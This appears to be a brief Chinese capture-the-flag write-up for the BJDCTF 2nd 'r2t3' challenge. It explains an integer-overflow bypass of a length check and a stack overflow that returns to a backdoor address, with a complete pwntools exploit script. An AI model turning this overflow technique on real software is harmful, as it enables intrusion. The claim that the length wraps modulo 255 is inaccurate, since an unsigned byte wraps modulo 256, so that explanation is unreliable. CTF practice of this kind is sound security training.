做题遇到了,以后补一下先上个例题
BJDCTF 2nd r2t3
有一个长度的检查
这个 v3 是一个无符号数,最大只能 255,如果超过的话就会进行 mod 255
所以可以传入一个总共是 0x105 的,这样他的得到的就是 6 是符合长度限制的,从而绕过 if 的检测
dest 的大小是 0x11h,加上 ebp 的 0x4h,所以需要在前面填充 0x15h
程序中提供了后门 0x804858B
exp
from pwn import *
p=process('pwn')
payload='a'*0x15+p32(0x804858B)
payload+='a'*(0x105-len(payload))
p.sendline(payload)
p.interactive()